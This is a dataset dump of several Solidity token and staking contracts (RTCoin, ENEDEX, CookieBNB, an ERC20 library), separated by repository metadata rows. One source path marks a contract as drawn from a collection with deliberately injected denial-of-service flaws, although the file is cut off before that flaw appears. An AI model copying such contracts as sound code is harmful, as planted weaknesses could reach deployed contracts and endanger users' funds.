nonZeroAddress(_newAdmin)
returns (bool)
{
require(_newAdmin != admin);
admin = _newAdmin;
emit AdminSet(_newAdmin);
return true;
}
function transferOwnership(address _newOwner)
public
onlyOwner
nonZeroAddress(_newOwner)
returns (bool)
{
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
return true;
}
}
library SafeMath {
// We use `pure` bbecause it promises that the value for the function depends ONLY
// on the function arguments
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
interface ERC20Interface {
function owner() external view returns (address);
function decimals() external view returns (uint8);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
}
interface StakeInterface {
function activeStakes() external view returns (uint256);
}
/// @title RTC Token Contract
/// @author Postables, RTrade Technologies Ltd
contract RTCoin is Administration {
using SafeMath for uint256;
// this is the initial supply of tokens, 61.6 Million
uint256 constant public INITIALSUPPLY = 61600000000000000000000000;
string constant public VERSION = "production";
// this is the interface that allows interaction with the staking contract
StakeInterface public stake = StakeInterface(0);
// this is the address of the staking contract
address public stakeContractAddress = address(0);
// This is the address of the merged mining contract, not yet developed
address public mergedMinerValidatorAddress = address(0);
string public name = "RTCoin";
string public symbol = "RTC";
uint256 public totalSupply = INITIALSUPPLY;
uint8 public decimals = 18;
// allows transfers to be frozen, but enable them by default
bool public transfersFrozen = true;
bool public stakeFailOverRestrictionLifted = false;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
mapping (address => bool) public minters;
event Transfer(address indexed _sender, address indexed _recipient, uint256 _amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
event TransfersFrozen(bool indexed _transfersFrozen);
event TransfersThawed(bool indexed _transfersThawed);
event ForeignTokenTransfer(address indexed _sender, address indexed _recipient, uint256 _amount);
event EthTransferOut(address indexed _recipient, uint256 _amount);
event MergedMinerValidatorSet(address _contractAddress);
event StakeContractSet(address _contractAddress);
event FailOverStakeContractSet(address _contractAddress);
event CoinsMinted(address indexed _stakeContract, address indexed _recipient, uint256 _mintAmount);
modifier transfersNotFrozen() {
require(!transfersFrozen, "transfers must not be frozen");
_;
}
modifier transfersAreFrozen() {
require(transfersFrozen, "transfers must be frozen");
_;
}
// makes sure that only the stake contract, or merged miner validator contract can mint coins
modifier onlyMinters() {
require(minters[msg.sender] == true, "sender must be a valid minter");
_;
}
modifier nonZeroAddress(address _addr) {
require(_addr != address(0), "must be non zero address");
_;
}
modifier nonAdminAddress(address _addr) {
require(_addr != owner && _addr != admin, "addr cant be owner or admin");
_;
}
constructor() public {
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address _recipient,
uint256 _amount)
public
transfersNotFrozen
nonZeroAddress(_recipient)
returns (bool)
{
// check that the sender has a valid balance
require(balances[msg.sender] >= _amount, "sender does not have enough tokens");
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_recipient] = balances[_recipient].add(_amount);
emit Transfer(msg.sender, _recipient, _amount);
return true;
}
function transferFrom(address _owner,
address _recipient,
uint256 _amount)
public
transfersNotFrozen
nonZeroAddress(_recipient)
returns (bool)
{
// ensure owner has a valid balance
require(balances[_owner] >= _amount, "owner does not have enough tokens");
// ensure that the spender has a valid allowance
require(allowed[_owner][msg.sender] >= _amount, "sender does not have enough allowance");
// reduce the allowance
allowed[_owner][msg.sender] = allowed[_owner][msg.sender].sub(_amount);
// reduce balance of owner
balances[_owner] = balances[_owner].sub(_amount);
// increase balance of recipient
balances[_recipient] = balances[_recipient].add(_amount);
emit Transfer(_owner, _recipient, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// NON STANDARD FUNCTIONS //
function setMergedMinerValidator(address _mergedMinerValidator) external onlyOwner nonAdminAddress(_mergedMinerValidator) returns (bool) {
mergedMinerValidatorAddress = _mergedMinerValidator;
minters[_mergedMinerValidator] = true;
emit MergedMinerValidatorSet(_mergedMinerValidator);
return true;
}
function setStakeContract(address _contractAddress) external onlyOwner nonAdminAddress(_contractAddress) returns (bool) {
// this prevents us from changing contracts while there are active stakes going on
if (stakeContractAddress != address(0)) {
require(stake.activeStakes() == 0, "staking contract already configured, to change it must have 0 active stakes");
}
stakeContractAddress = _contractAddress;
minters[_contractAddress] = true;
stake = StakeInterface(_contractAddress);
emit StakeContractSet(_contractAddress);
return true;
}
function setFailOverStakeContract(address _contractAddress) external onlyOwner nonAdminAddress(_contractAddress) returns (bool) {
if (stakeFailOverRestrictionLifted == false) {
stakeFailOverRestrictionLifted = true;
return true;
} else {
minters[_contractAddress] = true;
stakeFailOverRestrictionLifted = false;
emit FailOverStakeContractSet(_contractAddress);
return true;
}
}
function mint(address _recipient,
uint256 _amount)
public
onlyMinters
returns (bool)
{
balances[_recipient] = balances[_recipient].add(_amount);
totalSupply = totalSupply.add(_amount);
emit Transfer(address(0), _recipient, _amount);
emit CoinsMinted(msg.sender, _recipient, _amount);
return true;
}
function transferForeignToken(address _tokenAddress,
address _recipient,
uint256 _amount)
public
onlyAdmin
nonZeroAddress(_recipient)
returns (bool)
{
// don't allow us to transfer RTC tokens
require(_tokenAddress != address(this), "token address can't be this contract");
ERC20Interface eI = ERC20Interface(_tokenAddress);
require(eI.transfer(_recipient, _amount), "token transfer failed");
emit ForeignTokenTransfer(msg.sender, _recipient, _amount);
return true;
}
function transferOutEth()
public
onlyAdmin
returns (bool)
{
uint256 balance = address(this).balance;
msg.sender.transfer(address(this).balance);
emit EthTransferOut(msg.sender, balance);
return true;
}
function freezeTransfers()
public
onlyAdmin
returns (bool)
{
transfersFrozen = true;
emit TransfersFrozen(true);
return true;
}
function thawTransfers()
public
onlyAdmin
returns (bool)
{
transfersFrozen = false;
emit TransfersThawed(true);
return true;
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function totalSupply()
public
view
returns (uint256)
{
return totalSupply;
}
function balanceOf(address _holder)
public
view
returns (uint256)
{
return balances[_holder];
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
}
| 336,366 | 695 |
a8cc2248559d265486ce1e649f26bfed909d6f577a77ef6cc4dce0125527ee70
| 26,236 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0c/0Cbe7DC765430659aBdEb601d8D9Ff615d5a2240_ENEDEX.sol
| 3,259 | 12,510 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function removeMinter(address account) public onlyMinter {
_removeMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint8 private _setupDecimals = 18;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = _setupDecimals;
}
function getOwner() external view returns (address) {
return owner();
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) virtual public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) virtual public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) virtual public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) virtual public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom (address sender, address recipient, uint256 amount) virtual public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer (address sender, address recipient, uint256 amount) virtual internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) virtual internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) virtual internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve (address owner, address spender, uint256 amount) virtual internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) virtual internal {
// _burn(account, amount);
// }
}
contract ENEDEX is BEP20, MinterRole {
address public uniswapV2Pair;
// The operator is NOT the owner, is the operator of the machine
address public operator;
// Burn address
address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; // INMUTABLE
// Events before Governance
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event UpdateFeeWallet(address indexed walletAddress);
event UpdateBuyFee(uint16 buyFee);
event UpdateSellFee(uint16 sellFee);
event UpdateSellFee2(uint16 sellFee2);
// Operator CAN do modifier
modifier onlyOperator() {
require(operator == msg.sender, "operator: caller is not the operator");
_;
}
constructor() public BEP20("ENEDEX", "ENE") {
operator = _msgSender();
emit OperatorTransferred(address(0), operator);
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
function mintTo(address _to, uint256 _amount) public onlyMinter {
_mint(_to, _amount);
}
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) public virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) public virtual {
uint256 decreasedAllowance_ =
allowance(account_, msg.sender).sub(amount_,
"ERC20: burn amount exceeds allowance");
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
/// @dev overrides transfer function to meet tokenomics of ENE
function _transfer(address sender, address recipient, uint256 amount) internal virtual override {
require(amount > 0, "Transfer amount must be greater than zero");
super._transfer(sender, recipient, amount);
}
function transferOperator(address newOperator) public onlyOperator {
require(newOperator != address(0), "ENE::transferOperator: new operator is the zero address");
emit OperatorTransferred(operator, newOperator);
operator = newOperator;
}
}
| 95,691 | 696 |
928e4ea657f544ffc889119f8625409fbe37f9ce1aedf0d3723d1023684c489b
| 13,746 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xD27c2345935E1137d088fdAd4C72100E7ED06197/contract.sol
| 3,453 | 13,270 |
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract CookiePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token) public initializer {
depositToken = IERC20(_token);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, amount);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract CookieBNB is CookiePool {
IERC20 public degenToken;
uint256 public halvingPeriod = 259200;
uint256 public totalreward;
uint256 public starttime;
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _degenToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken);
degenToken = IERC20(_degenToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Tether");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot withdraw 0 Tether");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
degenToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals open after 24 hours from the beginning");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 251,964 | 697 |
fc725ab6408af040eafd5331fc3f6924d11417eee9e83d234a71a98b01d3c1df
| 33,575 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/DosByComplexFallback/manualCheck/0x8ea4f76baac28449f8bcc97e3f78519d9d390ee7_dosByComplexFallback.sol
| 6,828 | 23,662 |
pragma solidity 0.5.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner,
address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value)
public
returns (bool)
{
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(address spender,
uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender,
uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token,
address to,
uint256 value)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value)
internal
{
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
